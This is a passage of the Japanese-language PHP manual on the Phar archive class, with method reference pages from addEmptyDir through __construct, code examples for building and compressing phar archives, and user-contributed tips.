final public static isValidPharFilename ( string $filename , bool $executable = true ) : bool
public isWritable ( ) : bool
final public static loadPhar ( string $filename , string $alias = ? ) : bool
final public static mapPhar ( string $alias = ? , int $dataoffset = 0 ) : bool
final public static mount ( string $pharpath , string $externalpath ) : void
final public static mungServer ( array $munglist ) : void
public offsetExists ( string $offset ) : bool
public offsetGet ( string $offset ) : PharFileInfo
public offsetSet ( string $offset , string $value ) : void
public offsetUnset ( string $offset ) : bool
final public static running ( bool $retphar = true ) : string
public setAlias ( string $alias ) : bool
public setDefaultStub ( string $index = ? , string $webindex = ? ) : bool
public setMetadata ( mixed $metadata ) : void
public setSignatureAlgorithm ( int $sigtype , string $privatekey = ? ) : void
public setStub ( string $stub , int $len = -1 ) : bool
public startBuffering ( ) : void
public stopBuffering ( ) : void
final public static unlinkArchive ( string $archive ) : bool
final public static webPhar ( string $alias = ? , string $index = "index.php" , string $f404 = ? , array $mimetypes = ? , callable $rewrites = ? ) : void
}

目次

  • Phar::addEmptyDir — 空のディレクトリを phar アーカイブに追加する
  • Phar::addFile — ファイルシステム上のファイルを phar アーカイブに追加する
  • Phar::addFromString — 文字列から、ファイルを phar アーカイブに追加する
  • Phar::apiVersion — API のバージョンを返す
  • Phar::buildFromDirectory — ディレクトリ内のファイルから phar を作成する
  • Phar::buildFromIterator — イテレータから phar アーカイブを作成する
  • Phar::canCompress — phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::canWrite — phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す
  • Phar::compress — Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::compressFiles — 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::__construct — Phar アーカイブオブジェクトを作成する
  • Phar::convertToData — phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
  • Phar::convertToExecutable — phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
  • Phar::copy — phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする
  • Phar::count — Phar アーカイブ内のエントリ (ファイル) の数を返す
  • Phar::createDefaultStub — phar ファイルフォーマット用のスタブを作成する
  • Phar::decompress — Phar アーカイブ全体の圧縮を解除する
  • Phar::decompressFiles — 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::delMetadata — phar のグローバルメタデータを削除する
  • Phar::delete — phar アーカイブ内のファイルを削除する
  • Phar::extractTo — phar アーカイブの内容をディレクトリに展開する
  • Phar::getAlias — Phar のエイリアスを取得する
  • Phar::getMetadata — phar アーカイブのメタデータを返す
  • Phar::getModified — phar が変更されているかどうかを返す
  • Phar::getPath — Pharアーカイブのディスク上の実際のパスを取得する
  • Phar::getSignature — Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す
  • Phar::getStub — Phar アーカイブの PHP ローダーあるいは起動スタブを返す
  • Phar::getSupportedCompression — サポートする圧縮アルゴリズムの配列を返す
  • Phar::getSupportedSignatures — サポートするシグネチャ型の配列を返す
  • Phar::getVersion — Phar アーカイブのバージョン情報を返す
  • Phar::hasMetadata — ファイルがグローバルなメタデータを持つかどうかを返す
  • Phar::interceptFileFuncs — fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる
  • Phar::isBuffering — Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる
  • Phar::isCompressed — phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::isFileFormat — phar アーカイブが、パラメータで指定した tar/phar/zip のいずれかの形式である場合に true を返す
  • Phar::isValidPharFilename — 指定したファイル名が正しい形式の phar ファイルかどうかを返す
  • Phar::isWritable — phar アーカイブが変更可能な場合に true を返す
  • Phar::loadPhar — 任意の phar アーカイブを、エイリアスを指定して読み込む
  • Phar::mapPhar — 現在実行されている (phar 形式の) ファイルを読み込み、その内容を登録する
  • Phar::mount — 外部のパスあるいはファイルを phar アーカイブ内に仮想的にマウントする
  • Phar::mungServer — 最大 4 つまでの $_SERVER 変数を実行時に変更させる
  • Phar::offsetExists — ファイルが phar 内に存在するかどうかを調べる
  • Phar::offsetGet — 指定したファイルの PharFileInfo オブジェクトを取得する
  • Phar::offsetSet — 内部ファイルに、外部ファイルの内容を設定する
  • Phar::offsetUnset — ファイルを phar から削除する
  • Phar::running — 現在実行中の Phar アーカイブのフルパスあるいは完全な phar URL を返す
  • Phar::setAlias — Phar アーカイブのエイリアスを設定する
  • Phar::setDefaultStub — Phar アーカイブの PHP ローダー (起動スタブ) をデフォルトのローダーに設定する
  • Phar::setMetadata — phar アーカイブのメタデータを設定する
  • Phar::setSignatureAlgorithm — phar のシグネチャのアルゴリズムを設定して適用する
  • Phar::setStub — Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する
  • Phar::startBuffering — Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない
  • Phar::stopBuffering — Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む
  • Phar::unlinkArchive — phar アーカイブをディスクとメモリから完全に削除する
  • Phar::webPhar — ウェブベースの phar で使用するフロントコントローラ

User Contributed Notes

cornelius dot howl at gmail dot com 19-Dec-2011 12:49
Onion utility can help you compile a package into a phar file (executable script file or library file)

https://github.com/c9s/Onion

   $ onion.phar compile \
    --executable \
    --classloader \
    --bootstrap scripts/onion.embed \
    --lib src \
    --lib ../CLIFramework/src \
    --lib ../GetOptionKit/src \
    --output onion.phar
halfdan 17-May-2008 01:18
Hey, I thought writing a small article about the upcoming functionality and appearance of Phar in php5.3 might be a nice thing. So I did this at http://geekmonkey.org/articles/PHP_Archives - hope to save others some time when working with Phar.


空のディレクトリを phar アーカイブに追加する

  • ≪ Phar
  • Phar::addFile ≫
  • PHP Manual
  • Phar
  • 空のディレクトリを phar アーカイブに追加する

Phar::addEmptyDir

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::addEmptyDir — 空のディレクトリを phar アーカイブに追加する

説明

public Phar::addEmptyDir ( string $dirname ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドを使用すると、空のディレクトリが dirname に作成されます。このメソッドは ZipArchive::addEmptyDir() と同じようなものです。

パラメータ

dirname

phar アーカイブ内に作成する空のディレクトリの名前。

返り値

返り値はありません。失敗時には例外をスローします。

例

例1 Phar::addEmptyDir() の例

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addEmptyDir('/full/path/to/file');
    // できあがったファイルを確認します
    $b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • PharData::addEmptyDir() - 空のディレクトリを tar/zip アーカイブに追加する
  • Phar::addFile() - ファイルシステム上のファイルを phar アーカイブに追加する
  • Phar::addFromString() - 文字列から、ファイルを phar アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステム上のファイルを phar アーカイブに追加する

  • ≪ Phar::addEmptyDir
  • Phar::addFromString ≫
  • PHP Manual
  • Phar
  • ファイルシステム上のファイルを phar アーカイブに追加する

Phar::addFile

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::addFile — ファイルシステム上のファイルを phar アーカイブに追加する

説明

public Phar::addFile ( string $file , string $localname = ? ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドを使用すると、任意のファイルあるいは URL を phar アーカイブに追加することができます。 オプションの 2 番目のパラメータ localname を指定すると、 ファイルはその名前でアーカイブ内に格納されます。指定しなかった場合は、 file パラメータをアーカイブ内のパスとして使用します。 URL を使用する場合は、localname を指定しないと例外がスローされます。 このメソッドは ZipArchive::addFile() と同じようなものです。

パラメータ

file

phar アーカイブに追加したいディスク上のファイルへのフルパスあるいは相対パス。

localname

ファイルをアーカイブ内に格納するときのパス。

返り値

返り値はありません。失敗時には例外をスローします。

例

例1 Phar::addFile() の例

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addFile('/full/path/to/file');
    // 格納したファイルを確認します
    $b = $a['full/path/to/file']->getContent();

    $a->addFile('/full/path/to/file', 'my/file.txt');
    $c = $a['my/file.txt']->getContent();

    // URL の使用例
    $a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

注意

注意: Phar::addFile(), Phar::addFromString(), Phar::offsetSet() は、呼び出されるたびに新しいPharアーカイブを生成します。パフォーマンスを気にするなら、代わりに Phar::buildFromDirectory() や Phar::buildFromIterator() を使うべきです。

参考

  • Phar::offsetSet() - 内部ファイルに、外部ファイルの内容を設定する
  • PharData::addFile() - ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • Phar::addFromString() - 文字列から、ファイルを phar アーカイブに追加する
  • Phar::addEmptyDir() - 空のディレクトリを phar アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


文字列から、ファイルを phar アーカイブに追加する

  • ≪ Phar::addFile
  • Phar::apiVersion ≫
  • PHP Manual
  • Phar
  • 文字列から、ファイルを phar アーカイブに追加する

Phar::addFromString

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::addFromString — 文字列から、ファイルを phar アーカイブに追加する

説明

public Phar::addFromString ( string $localname , string $contents ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドを使用すると、任意の文字列を phar アーカイブに追加することができます。 アーカイブ内のファイル名は localname で指定したものとなります。 このメソッドは ZipArchive::addFromString() と同じようなものです。

パラメータ

localname

ファイルをアーカイブ内に格納するときのパス。

contents

ファイルに保存する内容。

返り値

返り値はありません。失敗時には例外をスローします。

例

例1 Phar::addFromString() の例

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addFromString('path/to/file.txt', 'my simple file');
    $b = $a['path/to/file.txt']->getContent();

    // 大きなファイル用にストリームハンドルから追加するには offsetSet() を使用します
    $c = fopen('/path/to/hugefile.bin');
    $a['largefile.bin'] = $c;
    fclose($c);
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

注意

注意: Phar::addFile(), Phar::addFromString(), Phar::offsetSet() は、呼び出されるたびに新しいPharアーカイブを生成します。パフォーマンスを気にするなら、代わりに Phar::buildFromDirectory() や Phar::buildFromIterator() を使うべきです。

参考

  • Phar::offsetSet() - 内部ファイルに、外部ファイルの内容を設定する
  • PharData::addFromString() - ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • Phar::addFile() - ファイルシステム上のファイルを phar アーカイブに追加する
  • Phar::addEmptyDir() - 空のディレクトリを phar アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


API のバージョンを返す

  • ≪ Phar::addFromString
  • Phar::buildFromDirectory ≫
  • PHP Manual
  • Phar
  • API のバージョンを返す

Phar::apiVersion

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::apiVersion — API のバージョンを返す

説明

final public static Phar::apiVersion ( ) : string

phar ファイルフォーマットの API バージョンを返します。 phar を作成する際にこのバージョンが使用されます。 Phar 拡張モジュールが読み込みをサポートしているのは、 バージョン 1.0.0 以降の API です。 SHA-256 や SHA-512 を使用するには API バージョン 1.1.0 以降が、 そして空のディレクトリを格納するには API バージョン 1.1.1 以降が必要です。

パラメータ

返り値

API のバージョンを、"1.0.0" のような文字列で返します。

例

例1 Phar::apiVersion() の例

<?php
echo Phar::apiVersion();
?>

上の例の出力は以下となります。

1.1.1

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリ内のファイルから phar を作成する

  • ≪ Phar::apiVersion
  • Phar::buildFromIterator ≫
  • PHP Manual
  • Phar
  • ディレクトリ内のファイルから phar を作成する

Phar::buildFromDirectory

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::buildFromDirectory — ディレクトリ内のファイルから phar を作成する

説明

public Phar::buildFromDirectory ( string $base_dir , string $regex = ? ) : array

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

ディレクトリの中身をもとに phar アーカイブを作成します。 オプションの 2 番目のパラメータで正規表現 (pcre) を指定すると、特定のファイルを除外することができます。 正規表現にマッチするすべてのファイルがアーカイブに含められ、 それ以外のファイルは除外されます。より詳細に制御するには Phar::buildFromIterator() を使用します。

パラメータ

base_dir

アーカイブに追加するすべてのファイルを含むディレクトリへの フルパスあるいは相対パス。

regex

オプションで指定する pcre 正規表現。 これを使用してファイル一覧をフィルタリングします。 正規表現にマッチするファイルパスのみがアーカイブに追加されます。

返り値

Phar::buildFromDirectory() は、連想配列を返します。これは、 ファイルの内部パスをファイルシステム上のフルパスを対応させたものです。

エラー / 例外

このメソッドは、内部ディレクトリイテレータのインスタンスの作成に失敗したときに BadMethodCallException をスローします。 また、phar アーカイブの保存時にエラーが発生した場合は PharException をスローします。

例

例1 Phar::buildFromDirectory() の例

<?php
// "project.phar" というエイリアスで作成します
$phar = new Phar('project.phar', 0, 'project.phar');
// project 内のすべてのファイルを追加します
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));

$phar2 = new Phar('project2.phar', 0, 'project2.phar');
// project 内のファイルのうち、php ファイルだけを追加します
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
$phar2->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

参考

  • Phar::buildFromIterator() - イテレータから phar アーカイブを作成する

User Contributed Notes

dalfarra at codref dot com 16-May-2017 03:00
If you want to exclude a directory from the archive (but include all the other content), the regular expression must take into consideration the whole path of the file, not just the file or directory name relative to the source folder.

As an example, if we want to exclude "nbproject" directory from the archive (and any occurrence of it):

/tmp/myfolder
  /nbproject
  /something
  /something-else
    /nbproject
  /file1.php
  /file2.php

the regex should be:
<?php
  $exclude = '/^(?!(.*nbproject))(.*)$/i';  //ignoring the case
?>

A more complete example:
<?php
    $archive_file = 'myarchive.tar';
    $folder_to_compress = '/tmp/myfolder';
    $archive = new PharData($archive_file);
    $exclude = '/^(?!(.*nbproject))(.*)$/i';
    $archive->buildFromDirectory($folder_to_compress,$exclude);
    $archive->compress(Phar::GZ);
    unlink($archive_file); // as we already obtained a tar.gz
?>

the archive will contain:
/
  /something
  /something-else
  /file1.php
  /file2.php


イテレータから phar アーカイブを作成する

  • ≪ Phar::buildFromDirectory
  • Phar::canCompress ≫
  • PHP Manual
  • Phar
  • イテレータから phar アーカイブを作成する

Phar::buildFromIterator

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::buildFromIterator — イテレータから phar アーカイブを作成する

説明

public Phar::buildFromIterator ( Iterator $iter , string $base_directory = ? ) : array

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

phar アーカイブをイテレータから作成します。 サポートするイテレータは二種類で、 phar 内のファイル名とディスク上の実際のファイル名を対応させたものか、あるいは DirectoryIterator のように SplFileInfo オブジェクトを返すものです。 SplFileInfo オブジェクトを返すイテレータの場合は、2 番目のパラメータが必要となります。

パラメータ

iter

phar ファイルと実際の場所の関連を返すイテレータ、 あるいは SplFileInfo オブジェクトを返すイテレータ。

base_directory

SplFileInfo オブジェクトを返すイテレータを指定した際、 phar アーカイブへの追加時にフルパスから取り除く部分。

返り値

Phar::buildFromIterator() は連想配列を返します。 これは、ファイルの内部パスとファイルシステム上のフルパスを対応させたものです。

例

例1 SplFileInfo を使用した Phar::buildFromIterator() の例

ほとんどの phar アーカイブは、実際のディレクトリ構造を反映した形式になっています。 このような場合は 2 番目の方式が最適です。 たとえば、次のようなディレクトリ構成のファイルを含む phar アーカイブを作成してみることにしましょう。

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

次のコードを使用すると、これらのファイルを phar アーカイブ "project.phar" に追加します。

<?php
// "project.phar" というエイリアスで作成します
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new RecursiveDirectoryIterator('/path/to/project')),
    '/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

これで、ファイル project.phar はすぐに使えるようになります。 Phar::buildFromIterator() は圧縮やメタデータの設定を行いません。 これらは phar アーカイブを作成した後で行うことができます。

興味深いことに、Phar::buildFromIterator() を使用して既存の phar アーカイブの中身をコピーすることもできます。 というのも Phar オブジェクトは DirectoryIterator を継承しているからです。

<?php
// "project.phar" というエイリアスで作成します
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new Phar('/path/to/anotherphar.phar')),
    'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

例2 その他のイテレータを使用した Phar::buildFromIterator() の例

それ以外の形式のイテレータでは、 key => value の対応を返すものを使用できます。たとえば ArrayIterator などです。

<?php
// "project.phar" というエイリアスで作成します
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new ArrayIterator(
     array(
        'internal/file.php' => dirname(__FILE__) . '/somefile.php',
        'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
     )));
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

エラー / 例外

このメソッドは、イテレータが間違った値 (たとえば文字列キーではなく整数キーなど) を返した場合に UnexpectedValueException を返します。また、SplFileInfo 型のイテレータを渡したときに base_directory を指定しなかった場合は BadMethodCallException を、 phar アーカイブの保存時にエラーが発生した場合は PharException を返します。

参考

  • Phar::buildFromDirectory() - ディレクトリ内のファイルから phar を作成する

User Contributed Notes

M8 25-Apr-2017 09:38
Phars created from iterator (unlike from directory) does not have full-fledged directory structure. For example, functions like opendir() will fail, although fopen() does not.
cweiske at php dot net 26-Feb-2015 01:43
You have to set a flag on the RecursiveDirectoryIterator because by default, the current (".") and parent directory ("..") are included in the listing. This leads to an error message similar to "returned a path ".." that is not in the base directory".

To fix this, use "SKIP_DOTS":

<?php
new RecursiveDirectoryIterator(
    $srcRoot, FilesystemIterator::SKIP_DOTS
);
?>


phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す

  • ≪ Phar::buildFromIterator
  • Phar::canWrite ≫
  • PHP Manual
  • Phar
  • phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す

Phar::canCompress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::canCompress — phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す

説明

final public static Phar::canCompress ( int $type = 0 ) : bool

これは、圧縮されたファイルを含む phar を読み込む前に、 圧縮が可能かどうかを調べるために使用します。

パラメータ

type

Phar::GZ あるいは Phar::BZ2 のいずれかを指定し、指定した圧縮アルゴリズムでの圧縮が可能かどうかを調べます。

返り値

圧縮/展開 が可能な場合に true、そうでない場合に false を返します。

例

例1 Phar::canCompress() の例

<?php
if (Phar::canCompress()) {
    echo file_get_contents('phar://compressedphar.phar/internal/file.txt');
} else {
    echo '圧縮はできません';
}
?>

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::convertToExecutable() - phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
  • Phar::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

User Contributed Notes

There are no user contributed notes for this page.


phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す

  • ≪ Phar::canCompress
  • Phar::compress ≫
  • PHP Manual
  • Phar
  • phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す

Phar::canWrite

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::canWrite — phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す

説明

final public static Phar::canWrite ( ) : bool

この静的メソッドは、書き込みアクセスが php.ini の phar.readonly で無効にされているかどうかを調べます。

パラメータ

返り値

書き込みが可能な場合に true、そうでない場合に false を返します。

例

例1 Phar::canWrite() の例

<?php
if (Phar::canWrite()) {
    file_put_contents('phar://myphar.phar/file.txt', 'hi there');
}
?>

参考

  • phar.readonly
  • Phar::isWritable() - phar アーカイブが変更可能な場合に true を返す

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

  • ≪ Phar::canWrite
  • Phar::compressFiles ≫
  • PHP Manual
  • Phar
  • Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

Phar::compress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::compress — Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

説明

public Phar::compress ( int $compression , string $extension = ? ) : Phar

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

tar 形式あるいは phar 形式の phar アーカイブの場合は、 このメソッドはアーカイブ全体を gzip あるいは bzip2 で圧縮します。 できあがったファイルは gunzip/bunzip コマンドで処理することもできますし、 Phar 拡張モジュールで直接透過的に使用することもできます。

zip 形式の phar アーカイブの場合は、このメソッドは失敗して例外が発生します。 gzip で圧縮するためには zlib 拡張モジュールが、そして bzip2 で圧縮するためには bzip2 拡張モジュールが有効になっていなければなりません。 この関数は phar の内容を変更するので、使用するには INI 設定 phar.readonly が off になっていなければなりません。

さらに、このメソッドは自動的にアーカイブの名前を変更し、 .gz あるいは .bz2 を追加します。Phar::NONE を渡して圧縮を解除した場合は拡張子も削除します。 もうひとつの方法として、ファイルの拡張子を 2 番目のパラメータで指定することもできます。

パラメータ

compression

圧縮を行う場合には Phar::GZ あるいは
Phar::BZ2、圧縮を解除する場合には
Phar::NONE を指定します。

extension

デフォルトでは、phar 形式のアーカイブを圧縮する際の拡張子は .phar.gz あるいは .phar.bz2 となり、tar 形式のアーカイブを圧縮する際の拡張子は .phar.tar.gz あるいは .phar.tar.bz2 となります。伸長の際は、デフォルトの拡張子は .phar および .phar.tar となります。

返り値

Phar オブジェクトを返します。

エラー / 例外

INI 設定 phar.readonly が on の場合、zlib 拡張モジュールが使用できない場合、あるいは bzip2 拡張モジュールが使用できない場合に BadMethodCallException をスローします。

例

例1 Phar::compress() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // /path/to/my.phar.gz にコピーします
$p2 = $p->compress(Phar::BZ2); // /path/to/my.phar.bz2 にコピーします
$p3 = $p2->compress(Phar::NONE); // 例外: /path/to/my.phar は既に存在します
?>

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • PharData::compress() - tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する

User Contributed Notes

mike at eyesis dot ca 21-Feb-2011 11:50
For those who want the benefit of having a small compressed PHAR archive but don't want to suffer the performance loss, use php_strip_whitespace when adding files to the archive. If your code has plenty of whitespace, docbocks, and single-line comments this function can greatly decrease archive size without the performance loss.

<?php
$sDir = 'application';
$oPhar = new Phar ('app.phar');

$oDir = new RecursiveIteratorIterator (new RecursiveDirectoryIterator ($sDir), RecursiveIteratorIterator::SELF_FIRST);

foreach ($oDir as $sFile) {
    if ( preg_match ('/\\.php$/i', $sFile) ) {
        $oPhar->addFromString (substr ($sFile, strlen ($sDir) + 1), php_strip_whitespace ($sFile));
    }
}
?>


現在の Phar アーカイブ内のすべてのファイルを圧縮する

  • ≪ Phar::compress
  • Phar::__construct ≫
  • PHP Manual
  • Phar
  • 現在の Phar アーカイブ内のすべてのファイルを圧縮する

Phar::compressFiles

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::compressFiles — 現在の Phar アーカイブ内のすべてのファイルを圧縮する

説明

public Phar::compressFiles ( int $compression ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

tar 形式の phar アーカイブでは、このメソッドは BadMethodCallException をスローします。 というのも、tar ファイルフォーマットではアーカイブ内の個別のファイルの圧縮をサポートしていないからです。 Phar::compress() を使用して、tar 形式の phar アーカイブ全体を圧縮します。

zip 形式および phar 形式の phar アーカイブでは、 このメソッドは Phar アーカイブ内のすべてのファイルを指定した方式で圧縮します。 この機能を使用するには、zlib 拡張モジュールあるいは bzip2 拡張モジュールが有効になっている必要があります。さらに、 もし既に bzip2/zlib で圧縮されているファイルがある場合は、 いったんその圧縮を解除するために対応する拡張モジュールが必要となります。 この関数は phar の内容を変更するので、使用するためには INI 設定 phar.readonly が off になっている必要があります。

パラメータ

compression

圧縮を行う場合は Phar::GZ あるいは Phar::BZ2、圧縮を解除するためには Phar::NONE のいずれかを指定しなければなりません。

返り値

値を返しません。

エラー / 例外

INI 設定 phar.readonly が on の場合、zlib 拡張モジュールが有効でない場合、 あるいは既に bzip2 圧縮されているファイルがあるのに bzip2 拡張モジュールが有効でない場合に BadMethodCallException をスローします。

例

例1 Phar::compressFiles() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

上の例の出力は以下となります。

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 01:55
Compressing the entire archive
$phar->compress();
overrides your stub file.

Use compressFiles to have the the files compressed keeping your own stub in tact (which is not being compressed).
The compression is a little bit worth (since one file is left uncompressed), but enables you to have your own stub file executed with browser requests.

Don't get confused, compressing doesn't rise the security level of your code or obfuscating it strongly enough. The source code of your compressed phar is still easy to read.


Phar アーカイブオブジェクトを作成する

  • ≪ Phar::compressFiles
  • Phar::convertToData ≫
  • PHP Manual
  • Phar
  • Phar アーカイブオブジェクトを作成する

Phar::__construct

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::__construct — Phar アーカイブオブジェクトを作成する

説明

public Phar::__construct ( string $fname , int $flags = ? , string $alias = ? )

パラメータ

fname

既存の Phar アーカイブ、あるいは作成したいアーカイブへのパス。 ファイル名の拡張子は .phar にする必要があります。

flags

親クラス RecursiveDirectoryIterator に渡すフラグ。

alias

ストリーム機能をコールする場合に Phar アーカイブが参照するエイリアス。

エラー / 例外

